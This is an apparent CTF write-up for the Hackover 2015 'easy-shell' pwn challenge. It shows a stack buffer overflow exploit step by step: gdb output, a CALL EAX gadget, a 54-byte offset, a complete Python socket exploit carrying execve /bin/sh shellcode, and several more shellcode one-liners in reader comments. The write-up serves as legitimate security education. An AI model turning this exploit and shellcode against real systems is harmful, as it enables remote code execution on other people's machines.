This writeup describes the solution for the easy-shell challenge in Hackover CTF 2015 held by Chaos Computer Club Hamburg.
Lets first check what the binary does when executing.
ruport@zentaur:~/hackover2015$ ./easy_shell .-"; ! ;"-. .'! : | : !`. /\ ! : ! : ! /\ /\ | ! :|: ! | /\ ( \ \ ; :!: ; / / ) ( `. \ | !:|:! | / .' ) (`. \ \ \!:|:!/ / / .') \ `.`.\ |!|! |/,'.' / `._`.\\\!!!// .'_.' `.`.\\|//.'.' |`._`n'_.'| "----^----">> nom nom, shell> rup0rt
Some nice ascii art and data reading without output. Because this is a pwn challenge lets send much data in GDB and check the result.
nom nom, shell> AAAAAAAAAAA [300 * "A"]
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Wow, we already got EIP control – that will literally be an easy-shell :-). Lets check where to direct the EIP into a controlled code segment.
(gdb) i r eax 0xffffd3a6 -11354 ecx 0xfbad2288 -72539512 edx 0xf7fb4884 -134526844 ebx 0xf7fb3000 -134533120 esp 0xffffd3e0 0xffffd3e0 ebp 0x41414141 0x41414141 (gdb) x/8x $eax 0xffffd3a6: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd3b6: 0x41414141 0x41414141 0x41414141 0x41414141
The EAX register points directly into the payload, so we could use a JMP EAX or CALL EAX instruction. Lets use metasploits msfelfscan to find such an instruction.
ruport@zentaur:~/hackover2015$ msfelfscan -j eax easy_shell [easy_shell] 0x080483e3 call eax
Alright, we are going to use this address when overriding the EIP to point into our payload. But first we need to know, which bytes exactly override the EIP. I’m going to use metasploits patter tools:
ruport@zentaur:~$ pattern_create.rb 512 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8 [...] nom nom, shell> Aa0Aa1Aa2Aa3Aa [...] Program received signal SIGSEGV, Segmentation fault. 0x41386241 in ?? () ruport@zentaur:~$ pattern_offset.rb 41386241 [*] Exact match at offset 54
Okay, after 54 bytes of data the EIP gets overridden. Lets sum our information up and think about the payload we have to submit to the binary:
- 54 bytes of data (I am going to use NOPs and JUMP over the EIP address to get more space – just in case we would need more data for a larger shellcode)
- the new EIP address (0x080483e3 call eax)
- some more NOPs and a shellcode
Lets write this exploit as a python script.
#!/usr/bin/env python import socket import sys import struct import time # tiny execve sh shellcode # http://shell-storm.org/shellcode/files/shellcode-841.php shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" payload = "\x90" * (54-5) # NOPs minus JMP payload += "\xe9\x05\x00\x00\x00" # JMP SHORT 5 payload += "\xe3\x83\x04\x08" # CALL EAX payload += "\x90" * 10 # more NOPs payload += shellcode # execve shellcode server = ("easy-shell.hackover.h4q.it", 1337) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(server) data = sock.recv(2048) print data sock.send(payload + "\n") while True: data = sock.recv(2048) print data input = raw_input("CMD> ") sock.sendall(input + "\n") sock.close()
When executing the script, we get a shell at the Hackover CTF 2015 server.
CMD> cat /home/ctf/flag.txt
hackover15{eAsY_ShELL_iS_EaSy}
The solution is “hackover15{eAsY_ShELL_iS_EaSy}“.
Nice write-up dude, I’m new to this thing, can you explain to me simple thing, i tried to write payload but didn’t succeed.
(python -c ‘print “\x90″*10 + “\x31\xc0\x50\x89\xc2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 “+”A”*18 + “\xe3\x83\x04\x08″‘;) | ./easy_shell – not working (my payload)
(python -c ‘print “\x31\xc0\x50\x89\xc2\x68\x2f\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80 “+”A”*28 + “\xe3\x83\x04\x08″‘;) | ./easy_shell – works (after ctf i wrote it again)
question is why \x90 gives errors ? it should be pass to next.
sorry my bad english.
You need 54 bytes of data before storing the new EIP.
1st code: 10 (NOP) + 25 (SC) + 18 (As) = 53 (1 byte missing)
2nd code: 21 (SC) + 28 (As) = 49 (5 bytes missing)
I dont understand why the second one should work at all ;-). Maybe u missed some bytes when posting the comment? I think the \x90 should not cause the problem in your codes.
thanks for your reply, seems like i missed some bytes, but can’t make it work, i modified your payload can u analyze this for me pls.
1.your shell: 49 (NOP) + 5 (Jpm) + 4 (RIP) + NOP +SC = works
(python -c ‘print “\x90” * (54-5) + “\xe9\x05\x00\x00\x00” + “\xe3\x83\x04\x08” + “\x90” * 10 + “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80″‘;ls) | ./hackover/easy_shell
2. modified: 33 (NOP) + 21 (SC) + RIP = segmentation fault π
(python -c ‘print “\x90” * (54-21) + “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80” + “\xe3\x83\x04\x08″‘;pwd) | ./hackover/easy_shell
last one should work, but it gives seg fault, i have no idea. does it matter that code run in 32bit or 64 bit os ?
(python -c ‘print “\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80” + “\x41″*(54-21)+ “\xe3\x83\x04\x08″‘;ls) | ./hackover/easy_shell
but this works. 21(SC) + (54-21)(As) + RIP
I think the problem is the destroyed EBP and the CALL instruction that pushes EIP onto the stack.
We got: 50 bytes (payload) + 4 bytes (EBP) + 4 bytes (EIP). I was just lucky choosing a payload that does not cause any problems π
Try to store a readable address in EBP and all works fine. E.g. CALL eax once more: (python -c βprint β\x90β * (54-21-4) + β\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80β + β\xe3\x83\x04\x08β³ + β\xe3\x83\x04\x08β³β;pwd) | ./hackover/easy_shell
The arch does not matter – just whether its a 32bit or 64bit binary.